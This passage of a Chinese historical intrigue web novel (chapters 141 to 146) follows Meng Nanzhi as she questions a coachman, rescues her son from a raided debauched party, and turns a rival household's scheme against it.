“回吧,明天再来。”沈砚珩再次明显地拒绝。
他们处理私事,不想让他参与。
沈旻看出他眼中的排斥,眼珠转了转,轻轻点头。
“那珩弟我就先回去了,你们结束也早点回去,别让孟夫人担心了。”
沈砚珩懒懒地对他摆手,示意他赶紧回去,自己却跟在甄少兴身侧。
一派亲切地喊道:“少兴哥,你想吃什么?我做东。”
甄少兴看了眼他那绒毛还未完全褪下的脸,“纯吃有什么意思,哥带你去见识见识不一样的。”
沈砚珩与江鱼暗里对视一眼,笑道:“好啊,都听少兴哥的。”
另外一处,刚忙完的林婉柔盯着他们三人离开的背影,眸子闪了闪。
第141章 母与子
孟南枝不是第一次来将军府。
幼时,她曾跟父亲来此送过殡。
那时的谢归舟才五岁,跟着当时还是王妃的谢清沅,身穿孝衣跪在灵前。
看着过往的宾客,一声不吭,满目冷清。
彼时的将军府还算热闹,有几个说不清到底是士兵还是奴仆的瓦匠,趁着天晴,踩在房檐上修修补补。
院落很简单,都是寻常的绿植、花卉。
没有假山,没有小池,更没有小桥流水。
一路走过去,全是壮硕的士兵或男仆。
见到孟南枝都铿锵有力地恭敬行礼。
“夫人好。”
“夫人好。”
“夫人好。”
连带着还开始对贾掌柜挤眉弄眼。
孟南枝的脸色由平淡到尴尬,再到冷静,经历了三大天人交战。
在看到贾掌柜走的每一条小道都有人守着后,她眉峰微蹙,抿唇道:“别绕弯,直接去牢狱。”
“是,夫人。”
正昂首挺胸在府里大显威风的贾掌柜,闻言立刻缩回脖子,脚下拐了弯。
但孟南枝看不得背后,他却是伸出手默默给府内的兄弟点了个赞。
够给面儿。
贾掌柜明显在将军府有些权力。
守门的士兵只看到他这个人,连令牌都未要,就连忙打开了牢门。
牢狱有些阴暗,带着化不开的潮湿,和久远的血腥味。
贾掌柜在一处牢门前停下,“夫人,这就是你要找的人。”
陆筝筝的马夫。
没穿牢衣,还是那日被百万带走时穿的灰衣短打。
头发凌乱,身上的鞭伤已经结疤。
他听到动静便三两步跑到牢门前,大声呼救,“大人,小人真是冤枉的。”
待隔着木栏,看到迎光进来的孟南枝时,连忙“噗通”一声跪下行礼,哆哆嗦嗦道:
“小人见过夫人,小人错了,小人真没想到当时会马惊。”
孟南枝蹙眉,她印象上次在奕王府门前,这马夫见她可没现在这么客气。
不禁抬头看向守狱的士兵,“没招?”
士兵摇头,“一直说不知道。”
马夫闻言连连磕头,“回夫人,小人没护好姑娘,是小人的错,但小人是真不知道那马屁股上怎么会有针。”
马是如何伤的,孟南枝根本就不在意。
“抬起头来。”
马夫正在嗑头的双手发颤,他缓缓抬起头,下巴打着摆子,额间青红一片。
五观平平,当真没有什么特色。
若要硬找,那便是他表现得太过害怕了。
害怕得让孟南枝觉得太假。
孟南枝直接问道:“叫什么名字?”
刚刚抬起头的马夫,又连忙低下头道:“回夫人,小人贱名黑水。”
孟南枝:“景和十二年三月二十一日晚,你在做什么?”
马夫黑水道:“小的,小的,小的那日和朋友吃了点酒,早早就睡下了。”
孟南枝:“景和十二年三月二十九日晚,你在做什么?”
马夫黑水道:“小的不记得了,应该也早早就睡下了。”
孟南枝再问:“为什么二十一日记得那么清楚,二十九日却不记得?你那晚究竟做了什么?”
马夫黑水有些吞吐道:“那是因为那天小的在路上捡了块碎银,所以才记得那么清楚,要不小的也不会和朋友去吃酒。”
孟南枝冷哼,“我只说两个字,春燕。”
马夫黑水眼皮跳了一下,“小的知道春燕,她勾引世子,但这事儿跟小的没关系啊,夫人。”
心知他不会承认,孟南枝转身对贾掌柜微微点头,“还要劳烦你,半柱香,我在外面等着。”
贾掌柜眼神肃穆,正色道:“是,夫人。”
“多谢。”
见他应下,孟南枝转身就朝牢狱外面走。
完全不顾身后传来铁链打开,马夫黑水凄烈的惨叫声。
……
沈砚珩和江鱼跟着甄少兴穿过街市,停在一处看起来非常普通的宅院门口。
在进门之前,沈砚珩做了万般心理准备,里面定是个不正经场所。
哪知,在甄少兴轻轻叩开门扉后。
穿过一条狭窄的通道,里面竟然是座布置得格外雅致的别院。
丝竹之音隐隐传来,空气中还飘着淡淡的茉莉香,让人不由自主地就沉静下来。
沈砚珩
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与江鱼对视一下,都觉得事出反常必有妖。
其中必定有诈。
互相示意对方小心点。
甄少兴终于爱笑不笑的模样,领着他们穿过回廊,推门进入一个房间。
里面依旧风雅,两名白衣男仆悠悠弹琴,十几名衣着华丽的青年正在或吟诗、或作画、或对弈。
没人注意到他们的到来,都专注而沉浸在自己的事物中。
直到甄少兴轻拍手掌,众人才抬起头来。
“甄公子,你今日怎么得了闲?”
甄少兴往旁边侧了一下,把沈砚珩亮相到众人面前,“给大家介绍位新朋友,沈砚珩,沈二公子。”
这些青年虽称不上京中权贵,但也都是京官家沾亲带故的公子,闻言皆笑道。
“原来是沈公子,那不就是孟相的外孙?”
说着便都朝沈砚珩拥了过来。
“沈二公子,我父亲乃是京兆伊。”
“沈二公子,我叔父与你父亲是同僚。”
“沈二公了,我姨父是……”
沈砚珩没想到进来之后,竟然会是这种状况。
他被一群热情似火的公子哥团团围在中央,完全挣扎不出来。
江鱼见状,默默地往角落站了站。
除了看沈砚珩被猴子一样围观。
他整个人的目光都落在了甄少兴身上,时刻观察甄少兴在干什么。
甄少兴向众人介绍完沈砚珩,就落坐在了最近的椅子上。
身边过来一个年轻的小厮,听完他的吩咐又很快退了回去。
沈砚珩再怎么说也是侯门公子,虽然以前总是躲着这些场合,但也是参加过的。
他自持矜持地和众人拱手点头后,转身寻向甄少兴,“少兴哥,咱不是说好吃饭吗?”
他始终记得此行的目的是试探甄少兴。
甄少兴见他这么快就抽身出来,有些意外,“是吃饭啊,人多才热闹,先助助兴。”
沈砚珩看了眼四周这些公子哥,有些不解:“怎么助兴?”
“当然是喝酒助兴啊。”甄少兴意味深长道。
随着他的话音落地,十几个样貌绝美,却穿着臃肿衣服的女子从屏风后盈盈走出。
第142章 明明就是你害的
这些女子个个手执酒壶。
虽穿着厚重,却步态轻盈、身姿婀娜。
仿佛每一步都踏在人的心弦上,引得在场不少公子目光追随。
沈砚珩见状眉眼微蹙,“这酒要怎么喝?”
“珩弟,在场的都是才学有成的公子,咱今日就玩飞花令。”
“输了,由美人儿喂酒。但若赢了,便可指定其中一位美人儿脱一件衣服。
甄少兴说罢,再一拍手。
这十几个绝美女子偏一一散共,其中一位身着绿衣的还抬手轻摸了摸沈砚珩的脸。
厅内的公子们仿佛司空见惯般,没有一丝意外。
胭脂气沾了沈砚珩一脸,他嫌弃地擦了下脸,当场便有了退意。
“甄公子,我们来时说好了,只是吃顿饭。”
他答应了母亲,不能赌。
哪怕是飞花令,只要牵涉到输赢,就算赌。
甄少兴故意讥笑道:“只吃饭有何意思,再说只是玩下飞花令,难道珩弟怕输了不成?”
众人闻言开始附和。
“甄公子说得对,沈二公子,难道是你才学不济,怕输不成?”
“也可能不是怕输,而是沈二公子脸皮薄,见不得这些儿美人脱了衣裳。”
“沈二公子无需顾虑,我们若是贪图美色,何须让这些美人穿得这般厚实。
”我们只不过是图个乐子而已。”
“沈二公子何必如此顾忌?”
一个个激将法,吵得沈砚珩耳朵疼。
他与角落的江鱼对视一眼,摇头道:“本公子不想比人脱衣。”
甄少兴眸中生笑道:“那你想比什么?”
沈砚珩从怀中掏出一枚玉佩道:“赢了,这个你拿走。输了,你也要给我一个。”
甄少兴挑起他手中的玉佩,对光照了下,摇头道:“瞧你玉佩,水头差得很,谁稀罕。”
沈砚珩从他手里拽过玉佩,死磕道:“那算了,你们自己玩吧,本公子要回去了。”
众人见他真要走,反过来劝起甄少兴。
“甄公子,不就一个玉佩嘛,沈二公子想玩,就陪他玩会儿。”
“就是,甄公子,反正玩什么都是玩,您还在乎一个玉佩啊。”
沈砚珩听到有人言辞站在他这边,要走的步子顿了顿。
甄少兴似被众人起哄的没法,从怀里掏出一枚玉佩道:“行,玩这个,输了喝酒,赢了给你。”
沈砚珩扭头望去,却见甄少兴手里面的玉佩画面朝上,字面朝向掌心。
一在关注全场情况的江鱼,对他微微点头。
沈砚珩这才应道:“说吧,怎么玩?”
甄少兴嘴角勾笑道:“飞花令的规矩大家都懂,咱们就今日就以‘水’为令,如何?”
沈砚珩微微颔首,他本就无所谓玩什么,只为要他手里的玉佩。
以甄少行为首的这些公子哥,就更没意见,纷纷表示同意。
甄少兴见状率先开口,“水光潋滟晴方好。”
沈砚珩不紧不慢,接道:“水击三千里,抟扶摇而上者九**。”
有人叫好。
甄少兴眸子闪过阴霾。
另一位公子紧随其后:“不浅鱼稀白鹭闲……”
飞花令期间,明显有人在故意放水,故意输。
待他输了后,就让身边的美人儿喂他喝酒。
两人言辞间的调笑逐渐露骨。
也有赢得,挑着让美儿脱衣服。
沈砚珩一心想要赢玉佩,撇开那边的视线,眼不见心不烦。
甄少兴也一直想要打沈砚珩的脸,两人接飞花令,接得一个比一个起劲。
直到身边厅内开始发出怪异的哼唧声。
沈砚珩才察觉出不对,竟是有人在酒后失了礼,相互抱在了一起。
紧接着,外面传来破门声。
“里面的人听着,京兆府查案,一个都别乱动。”
未喝酒的几个面色巨变,“堵门,快去堵住门!”
现场秽乱不堪,若被京兆府抓着,他们这群人就全完了。
沈砚珩脸色同样不好看。
他若被抓了。
不仅母亲。
连外祖父都会跟着他丢脸。
哪怕自己什么也没做。
甄少兴似乎也有些吓着了,面色阴沉地指着沈砚珩骂道:“沈砚珩,你害我
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!”
沈砚珩气道:“明明是你害我,我只说吃饭,是你非要带我来这里。”
两人都想跑,但屋内喝了酒的人只想抱住他俩。
沈砚珩把想要抱住自己的那个男人推到甄少兴那边。
甄少兴被男人抱了个满怀,还贴着嘴巴往他身上啃,恶心得直想干呕。
“沈砚珩,你别太过分!”
沈砚珩也觉得恶心,“明明是你别太过分!若不是你非要玩,还喝酒助兴,是不是就是你下的药!”
“你放屁!”甄少兴踢开还想抱着他啃的男人,骂了一嘴,“本公子不爱搞多人运动。”
力气大的江鱼终于推开一个又一个人,挤到沈砚珩面前把他拽起来。
甄少兴见沈砚珩得救,向江鱼求救道:“快,救我,把我也一起带走。”
江鱼捡起因人多被推掉落在地上的玉佩,上面刻着一个“甄”字。
他用手盖住一半,只露出了个“土”,回想那日被打晕前的画面,拿起手中的剑抵到甄少兴面前,“你打伤了我?”
甄少兴面色发黑,眼神阴暗,“别冤枉本公子。”
江鱼把玉佩提溜到他眼前,“那打我那日,就带着这玉佩。”
没再被人缠着的沈砚珩,踢了他一腿,发狠道:“那日在巷子里,是不是你?是你要害我和我哥?”
甄少兴呸了一口,道:“本公子什么时候害过你和你哥,拿出证据来。”
“里面的人听着,快点把门打开,你们逃不掉了。”
门外的破门声更强,眼开就要破裂。
沈砚珩有些着急,催促道:“江鱼,快走。”
他不能被京兆府的人带走。
甄少兴听到外面的声音也急着想跑,奈何他的腿还被人抱着,“沈砚珩,你救我出去,我告诉你是谁想害你。”
他也不能被京兆府的人带走。
沈砚珩闻言顿足。
江鱼将玉佩塞在怀里,拿起剑柄一把拍在他的后脑勺上。
“还想骗沈砚珩救你,明明就是你害的!”
甄少兴两眼一翻,晕倒在地上,抱着他腿的男人又往上爬了爬。
第143章 是为你来的
“走。”
见沈砚珩还在犹豫,江鱼一把拽过他。
沈砚珩闻言也反应过来,甄少兴多半是想骗他。
外面的破门声更加强烈,沈砚珩甚至看到有人头跃过了高墙。
明显是推不开门,想要翻墙过来抓他们。
江鱼催促,“快点。”
两人跃过地上还在纠缠堆叠的人,破窗而出想要寻找后门。
哪想后门也被人围了,几个还在抵抗的小厮明显就要撑不住。
“怎么办?”沈砚珩有些焦急。
江鱼环顾四周,最后将目光落在隔壁的砖墙上。
“走,去那边。”
但建造此地的人,为了玩乐不被人看到,特意把砖墙砌得很高。
沈砚珩哪怕站在江鱼的背上也够不到墙边。
江鱼审视了下距离,蹲下来,“你站我肩膀上。”
“行,那你忍着点。”
沈砚珩踩上去。
但,还是差一点。
另一边,已经从墙外顺着梯子爬上墙头的府兵看到他们,大喊道:“你们别跑!”
眼见府兵开始下墙。
沈砚珩有些焦急。
但他怎么努力都不行。
正在他急得额头生汗时,一双手从上面拽住了他。
“珩弟,我拉你。”
沈砚珩抬头看了眼来人,是沈旻。
不得不说,他来的可太是时候了。
沈砚珩没有多想,借着他的手劲就往上爬。
待沈砚珩在墙上坐下后,忙反过来去拉江鱼。
江鱼借力,轻巧地便翻了上去。
此刻那府兵已经从高墙上滑落,打开大门,放出更多的府兵进来。
见到他们想要逃跑,忙过来追。
沈砚珩见状,赶紧催促道:“快走。”
说罢便带头直接从墙上往下跳。
整个人翻落在地时,才发现墙角下一直站着个人。
他抬头望去,瞬间慌了神,“母亲。”
孟南枝一身素衣站在墙角下,双目沉静得可怕。
从次子爬上墙,再到次子着急地直接跳下来,差点崴到脚。
她虽心中担心,但却一直都在静静地看着。
母亲没理他。
沈砚珩心中一跳,连忙爬起来,走到她身边,又小声喊了一遍,“母亲。”
孟南枝轻轻点头,却什么话也没有说。
直等到沈旻顺着梯子退下来,她才轻声道:“回去。”
说罢,便率先走在前面带路。
沈旻将梯子放倒后,紧跟在她后面。
沈砚珩盯着母亲的后背,眸子暗了暗,有些失神。
母亲这次,是真生气了。
跟着他一起跳下来的江鱼,过来拽住他的手。
“发什么愣,先回去再说。”
沈砚珩扫了一眼沈旻的后背,眼皮耷拉下来,任由江鱼拽着走。
天色已经渐暗,隔壁喧闹声不断。
他们的脚下是一处荒废的院子,带着浓重的沉土气。
四人很快就出了门。
门外是条寂静的小巷。
孟府的马车就停在不远处。
孟南枝在马车前站定,对沈旻笑道:“回去代我向你祖父祖母问好,改日我会亲自登门道谢。”
沈旻闻言连忙拱手道:“夫人客气了,这都是我应该做的。”
孟南枝再次浅笑。
沈旻非常懂事地再次拱手,“既然珩弟无事,那我就先回去了。”
孟南枝点头,“明日时间照旧。”
“是,夫人。”
沈旻面色微喜,孟夫人这是主动邀他参与施粥之事了。
待他走后,孟南枝才上了马车。
坐下片刻后,见次子沈砚珩还在外面站着,不禁暗自叹了口气。
“不坐车回家,还站在那里坐什么?”
沈砚珩这才神色稍松地上了马车,在孟南枝侧边坐下。
孟南枝看了眼没打算上车的江鱼,“你也上来。”
江鱼看了沈砚珩一眼,跳上马车,坐在他对面。
夜色渐浓,出了月亮。
马车一路驶往孟府。
孟南枝不说话。
沈砚珩低垂着头一直在扣手指。
好几次把指尖送到嘴边,想要啃咬时,想到母亲曾说不让他咬指甲的话,又给收了回去。
眼睛微阖的孟南枝其实一直注意着次子的举动。
她在等。
等这个一向不爱主动向她表达想法的次子,主动向她开口。
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但,显然是自己若不问,他可能还不会主动说。
孟南枝又将视线撇开,移到江鱼身上。
这个在巨幕中可能是跟在陆筝筝身边的那个少年,她这些时日也算摸着了点他的脾气。
不是个能忍的主。
来自梢城,心思缜密。
但好在,他对次子沈砚珩的情谊算是真诚。
刚刚在那墙下,他与次子的对话孟南枝都听见了。
若非他一直帮着,沈砚珩可能跑不出来。
江鱼习武,五感自然敏感。
察觉到孟南枝在看他。
他抬眼看了下一直不说话的沈砚珩,从怀里掏出被他藏起来的那枚玉佩,递给孟南枝。
“夫人,我们去寻甄少兴,是因为我想起来那日看到的玉佩并不是土,而是‘甄’。但我不太确定,这才想着去试探一下他。”
孟南枝接过玉佩看了眼上面的‘甄’字,依旧没说话。
江鱼又道:“我们进去什么也没干,沈砚珩一直在和甄少兴比试飞花令,这玉佩就是他比试赢来的。”
孟南枝握紧了手中玉佩,抬目看向沈砚珩。
还在扣手指的沈砚珩总算肯抬起头,正视母亲的眼睛。
他眸中带着愧疚,言语诚恳道:“母亲,是我再次让您费心了。”
明明兄长走的时候,他答应了兄长,要好好照顾母亲的。
结果,还是要母亲一直反过来照顾他。
刚才那一幕有多惊险。
他不敢想象,若他被京兆府的人抓走,会是什么样子。
顿了顿,他才又道:“那玉佩不是我赢来的。”
沈砚珩知道江鱼是为他好,才在母亲面前为他说话。
但他不想在母亲面前说慌。
想此,沈砚珩把他们为何今日要和甄少兴出去一事,从头到尾讲了一遍。
说到最后,他疑惑道:“母亲,甄少兴说药不是他下的,我看他说的不像是假的。”
“而且,京兆府的人怎么就突然来了?好像是故意卡着点,在里面生了事之后来的。”
孟南枝眸色微转,沉声道:“药,是不是甄少兴下的我不知道。”
“但京兆府的人,却是为你来的。”
第144章 没人知道是她干的
“为我?”
沈砚珩不解。
甄少兴可不像是伤敌一千,自损八百的人。
孟南枝看了眼考虑事物相对简单的次子,反问道:“你和江鱼跟着甄少兴走的时候,没发现自己被人跟着?”
沈砚珩摇头。
他还真不知道。
但他很快反应过来,“沈旻一直跟着我?”
他早该想到,若不是沈旻一直跟着他。
母亲如何能得知他在这里,并及时救他出来。
“没错。”
孟南枝没忽略次子在提到沈旻时,眸中那点不忿。
这孩子怕是想多了,便又道:“但除了他,还有别人也一直跟着你。”
“谁?”沈砚珩与江鱼对视一眼。
“沈府的家仆。”
既然想让次子也有所长进,孟南枝便不打算瞒他。
据沈旻所说,他在沈砚珩离开后,一直在后面悄悄地跟着他们,直到他们进入一处小院。
那处小院他虽然没去过,但曾听朋友说过。
表面正经,背地里常干些不正经的事。
沈旻敲门和推门都进不去,便沿着院子转了一圈。
准备离开时,发现一个形迹有些可疑的仆人从后门跑出来。
若是旁人,必然不会认得这仆人。
偏偏沈旻对沈府太过熟知,就识得这仆人是镇北侯沈府的。
他亲眼看见这仆人跑到京兆府,往府里塞了一团东西。
紧接着,京兆府全员出动,前往沈砚珩所在小院的方向。
沈旻便琢磨出不对味,这才赶紧跑向孟府,却寻孟南枝。
而当时的孟南枝,则是刚从将军府审完马夫黑水回去。
沈砚珩听完眸色凝重,“母亲,是林氏?”
孟南枝点头,除了林婉柔,她想不出第二人。
沈砚珩气得握拳,“母亲,我要去侯府。”
这个人害了母亲不说,竟然还想害他。
孟南枝看他,“去侯府做什么?”
“找她算帐。”沈砚珩理所当然道。
孟南枝轻轻地瞥了他一眼,“人是你主动去的,事是在别人的院子里发生的,对方揭举是有功的。你去找她算什么帐?”
她语气平淡,却字字如针,扎在沈砚珩心上。
沈砚珩闻言,眸中的怒火渐渐熄灭,取而代之的是一片黯然。
他深知母亲说得有道理。
今日这件事,不管谁的举报,他都是站不住脚的。
自己已经从里面出来,没被京兆府的人抓到现形。
此时若是去侯府,反而不打自招,让母亲在林婉柔面前落了下风。
见次子冷静下来,孟南枝才又道:“回府路上还有一段距离,你好好想想此事该怎么处理,但要确保把自己摘干净。”
沈砚珩闻言抬头看向母亲,眸中带着惊讶和激动。
他以为发生这种事,母亲会拘着他,禁他出府,不让他再管。
哪想母亲竟然让他主动去想该怎么解决。
次子眼中的情绪,孟南枝看得清清楚楚。
她既然想让他成长,便不能事事拘着他,总该让他参与一些事。
旁边坐着的江鱼一直静静地听着他们母子讲话。
直到此刻,他才悄悄地抬眸打量了孟南枝一眼。
这位孟夫人和他之前见过的夫人都不一样。
沈砚珩是幸福的。
他都有些羡慕了。
而此时的沈砚珩已经陷入该如何处理此事的沉思。
他想了想,突然开口道:“母亲,我们出来的时候,把甄少兴打晕了。”
孟南枝点头。
打就打了,这点事孟府还能应付。
想起临走时,那吃酒男人扒甄少兴衣服的画面,沈砚珩甩了甩脑袋,又道:
“甄少兴肯定不会善罢甘休,必然会追究幕后主使,我们能不能从此事上下功夫。”
孟南枝闻言浅笑,鼓励他继续说下去。
次子并不愚笨,只是缺乏锻炼而已。
……
笠日,天晴。
京兆府尹在早朝上报京官子弟聚众宣淫,已按律关押。
圣上震怒。
眼下正值洪灾,城外流民遍地,多少百姓吃不上饭。
这些公子哥不去帮忙不说,竟然还吃酒喝肉,玩得花天酒地。
当场便剥了几名在场公子父亲或有关亲属的官职,并罚他们俸禄两月,捐银万两。
那些被称
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作表姨父、表舅子的倍感冤枉。
纷纷指责是平阳公府未约束好子嗣,带头玩的花样。
平阳公同感冤枉,他也是昨晚才得知他那第三子又给他惹了事。
圣上不听他辩解,责令他闭门反思三月,同样罚俸禄两月,捐银万两。
早朝结束时,京兆府尹特地走到沈卿知面前,表示感谢,“此次能替肃清萎靡之风,全靠镇北侯相助。”
“下官不敢当。”
沈卿知不解,这跟他有什么关系。
眼见身边路过的朝官都竖起了耳风。
京兆府尹故意放大了声音道:“昨日若不是你府上的人特地到京兆府报了密信,本宫哪能这么快就掌握确凿证据,及时禀报圣上,让这股歪风邪气得以遏制。”
旁边听着的官员闻言皆大悟,对沈卿知言出敬意。
“这里面原来还有镇北侯的功劳。”
“真了不得,敢于揭发,真是清明。”
而那些刚被罚的官员,却是将对京兆府的恨意转移,暗恼地眼着沈卿知。
沈卿知只觉脊背发凉,这件事他完全不清楚。
便有些尴尬地说道:“韩大人,您怕是弄错了吧,本侯并未做此事。”
京兆府尹再次深深地表示感谢,“镇北侯何需自谦,本官已经确认昨日向府衙扔下揭举信的,就是你府上的奴仆。”
“本官知道你冒险做出此事,是不想要声名,但这功劳本官岂能一人昧下,还是要向你表示感谢。”
晚旁人一步出来的平阳公,也算听明白是怎么一回事,看着沈卿知冷冷地哼了哼。
这梁子,算是结得更深了。
……
城门口。
当林婉柔看到正常跟着孟南枝出来的沈砚珩时,低垂的眸子暗了暗。
明明亲眼看到他们进了里面。
结果被京兆府带走的人里面却没有他。
那局算是白做了。
但好在她做得隐晦,没人知道是她干的。
哪想下一刻,平阳公府陈夫人便怒气冲冲地走到她面前,重重地给了她一巴掌。
“镇北侯平夫人当真是好本事,放着好好的平夫人不做,去管别人家的闲事。”
第145章 孟姑娘当真好算计
平阳公府陈夫人下手很重。
林婉柔的脸当场便红紫一片,脑子都是嗡嗡的。
跟在她身侧的陆筝筝上前一步,挡在母亲面前,怯生生地质问道:“敢问陈夫人因何要打我母亲?”
陈夫人连看都不看她一眼,冷哼道:“为何?那要看看你母亲做了什么恶心的事!”
林婉柔缓过神来,拿起帕子轻擦被打伤的嘴角,眸子暗狠,面上却依旧温温柔柔地说道:
“陈夫人,我自认并不曾得罪于您。您如此不分清白便打我,是否过于霸道无礼了。”
陈夫人见她这副装模作样的姿态,更是气不打一处来,指着她的鼻子骂道:“你还有脸问为何?林婉柔,你莫要装模作样。”
“昨日你府上奴仆去京兆府揭举我儿聚众之事,致使我儿被抓入狱,平阳公府蒙羞。这笔帐,你如何算?”
林婉柔闻言,心中一紧。
她明明做得很隐晦,怎么会这么快就查到自己身上?
林婉柔暗攥帕子,强压下心中的慌乱,思索对策。
几息后,她面上换上委屈的模样,轻声说道:“陈夫人何故冤枉于我侯府,我昨日施粥之后便回了府。”
“府上并未有人出府,更不会去京兆府揭举什么,这其中定是有什么误会。”
“误会?”陈夫人冷笑一声,“京兆府尹都亲口说了,是你府上的奴仆,你还要抵赖不成?”
她嫁入平阳公府多年,对京中勋贵脾气不说摸得有多透彻,但也知道镇北侯沈卿知不是个能成事的。
若是镇北侯府的奴仆举报,这件事十有**是林婉柔干的。
尤其是在她去狱中看过甄少兴,从他口中得知,在场的还在孟南枝的次子沈砚珩后。
便更加肯定,这件事必然是林婉柔做的。
毕竟,没有人比她更想把孟南枝拉下神坛。
巴不得她的孩子名声尽毁。
林婉柔心中暗恨,此时还是做得太急,不够周全。
那奴仆也太不成事,只是扔个信,竟然留了尾巴。
而那京兆府尹竟也多事,将此事宣扬出来。
但这件事,她是坚决不会承认的。
想此,林婉柔手指握紧帕子,再次柔声道:“陈夫人,你定是误会了,我并不知道此事,此事也并非是我侯府做的。”
“不过我昨日在施粥结束后,看到甄公子和珩儿一起离开,以为他们是一起去吃了饭,倒是没想到竟然会发生这种事。”
说到这里,她又将目光移到跟在孟南枝身侧的沈砚珩身上,担忧道:“既然甄公子出了事,那珩儿是不是也……”
面上一片担心,不知得还真当她是在忧心自己的儿子。
不远处,一直注意着她这边动作的沈砚珩闻言,生了气,紧紧地握住拳头想要冲过去打她。
这个性子卑鄙的女人。
害了他不说,竟然想把祸水往他身上移。
孟南枝暗暗压住沈砚珩的手,示意他不要冲动。
她们一直站在城门口不动,便是想看林婉柔会如何处理陈夫人的发难。
孟南枝有自信,平阳公府现在不敢动她。
果然,陈夫人听完林婉柔说的话,又一巴掌打在了她脸上。
“林婉柔,别以为我不知道你想干什么。你害我甄府如此,竟然还想引我入局,让我和孟府勾心斗角,当真是阴毒得很。”
她岂不知孟南枝的儿子毫发无伤地出去了。
但人是甄少兴引去的,酒是甄少兴逼着喝的。
在场的公子哥哪个不是软蛋,早在入了牢狱时,便已交代得一清二楚。
她想去追究孟南枝的责任,都追究不成。
唯一可恨的便是,那沈砚珩的“书童”竟然打伤了甄少兴。
害得他们平阳公府的公子,竟然被一个男人欺辱。
想此,陈夫人眼中便是掩不住的恨意。
林婉柔怒了,她已经被连打了两巴掌。
还是在大庭广众之下,那么多守卫士兵,和过往的夫人、公子看着。
她泫然可怜的眸中流下眼泪,顺着红肿的脸颊滴在衣襟上,看起来楚楚可怜。
“陈夫人,你怎么会如此想我?我只是在说清楚事实而已经。”
“事实?”陈夫人冷嘲,“事实难道不是你故意害我平阳公府?”
陈夫人说话完全不给林婉柔留脸面。
林婉柔面色发黑,语气突然变得尖锐了一些,“即便
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此事是我镇北侯府揭发的,那也是甄公子做了错事。”
“你如此不分青红皂白地责打于我,是一点也不顾忌律法,顾忌情面了吗?”
既然事情已经被揭穿,名义上她又占了理。
那她还有什么好怕的。
并且她的筝筝已经彻底入了奕王的眼。
陈夫人冷笑一声,“孟南枝说的没错,你是真够贱的。”
说罢,又一巴掌打过去,“本夫人今日就是不顾忌情面了,有本事,等镇北侯什么时候升为镇北公再说吧。”
打完后,陈夫人整个人神清气爽地转身就走向城门。
虽然她府中的三公子被关了,但施粥之事还是不能停地。
免得再被圣上惦记。
林婉柔被连打三个巴掌,整个人的戾气都快要压制不住。
陆筝筝即心疼又后怕地扶住她,拿起帕子为她轻拭脸颊,“母亲,您疼吗?”
“你没眼睛吗?你说我疼不疼。”林婉柔疼得咧嘴,打开陆筝筝的手。
陆筝筝低垂着头,轻摸被打得有点疼的手背。
母亲脾气越来越暴躁了,对她也越来越不上心了。
还一直让她做些她不喜欢的事。
她生平第一次想对母亲提出反抗。
林婉柔没察觉到女儿情绪的不对,她从袖子中拿出轻纱掩了脸面。
“愣着做什么,还不快出城门去施粥。”
在母亲的催促下,陆筝筝提起的心再次泄了气,轻声道:“是,母亲。”
而走向城门的陈夫人,在路过孟南枝时,脚步却是顿了顿。
她扫了一眼神情自若的孟南枝,和她身侧的沈砚珩,以及并不出彩的江鱼。
冷声道:“孟姑娘还当真是好算计。”
如今孟父在坐高位,她不敢动孟南枝。
但打几巴掌林婉柔,还是绰绰有余的。
她深知,这背后若没人谋划,镇北侯奴仆揭发她儿聚众之事,没那么暴露出来。
更何况还是由京兆府尹亲口自报。
当官的,有几个愿意把功名推给他人。
孟南枝浅笑,“承让了。”
并不否认这背后有她的手笔。
毕竟这京中夫人,有几个是傻子。
第146章 小心些自己的孩子
平阳公陈夫人得了孟南枝的准话,眸中恨意更深。
“你还是小心些自己的孩子。”
此话有威胁之意。
孟南枝淡笑道:“这是自然,多谢陈夫人关怀。”
她自然知道陈夫人恨她。
但她更知道陈夫人为顾全大局,此刻不敢也不会动她。
陈夫人又重重地看了眼沈砚珩和江鱼,这才提步离开。
“母亲。”沈砚珩有些担忧。
孟南枝安抚道:“无碍,正常行事。”
消息自然是她派人传到京兆府尹韩大人耳中的。
京兆府尹韩大人念着孟家端坐高位,权衡利弊后,不会不给她这个面子。
这才有了早朝后,他故意等着平阳公,说出是镇北侯府揭举聚众一事。
整人而已。
何须她亲自动手。
接连几日,施粥一事,照常进行。
平阳公陈夫人算是彻底与林婉柔撕破了脸,明里暗里地嘲讽她。
而林婉柔见她都躲着,生怕再被她打上几巴掌。
因着沈旻那日的出力,沈砚珩对他客气了许多。
喊“旻哥”时,也真诚了几分。
孟南枝见他确实本分,便一直带着他。
即便自己不去,也会让他跟着沈砚珩。
胡姨娘的侄女,一直被关在柴房,日渐消瘦。
胡家的兄长,因之前在购买良田时与人起过**。
经过刘嬷嬷的安排,再次被人告发。
府衙审案后,以强买强卖为由,把他关进了牢狱。
几个惹事的侄辈,也都被人教训了一番。
期间,胡家来人想寻胡姨娘,皆被孟南枝以闭门不见客为由赶走了。
这日晚上,父亲孟正德竟然难得地回了府,连包裹都带了回来。
孟南枝嘱咐月芹去把衣服清洗后,在他旁边坐下,“父亲不在官署住了?”
孟正德点头,“现在朝堂已经稳住,工部、户部都走上正规,我就不用再住在那了。”
想着胡姨娘临走前的交代,孟南枝放低了声音道:“爹,你得了消渴症?”
孟正德没反应。
孟南枝转身对沈砚珩吩咐,“去太医院寻太医来。”
沈砚珩没有多问,点头就去。
孟正德看他离开,有些不解,“珩儿干什么去?”
孟南枝为了沏了茶,递给他,“胡姨娘临走前说你近日听力下降,有些耳背,特地嘱咐我等你闲了,便让太医给你瞧瞧。”
孟正德闻言,送到嘴边的茶盏顿了一下,“她最近怎么样?”
孟南枝笑道:“挺好的,买了个宅子,自己住。不用服侍人,不用再操心这一大家子,每日闲了便赏赏花,忙了便去看看铺子。”
孟正德把茶盏放搁在桌案上,“你说得不对吧,我怎么听人说胡家的人在寻她。”
孟南枝撂眼,“那我不知道,我每天忙得没空。”
孟正德一见女儿这般模样,便知她还在和自己置气。
暗自失笑喝,端起茶盏吃了口,“山城来信了,你要不要看。”
“真的?”孟南枝抬头。
“为父还能骗你?”
孟正德从怀中掏出一纸信封递给她,“这是修儿专门给你写的,我给你带回来了。”
孟南枝接过信,迫不及待的打开。
长子沈砚修写的内容不多,全是在诉说赈灾的见闻,还有他的成长。
以及对她、父亲和珩儿、还有朝昭的思念。
但孟南枝看完就是很感动,从头到尾反复读了三遍,才小心翼翼地收起来。
孟正德看到她这般模样,便没提沈砚修犯错被谢归舟处罚一事。
有些事,还是瞒着的好。
省得让她担心。
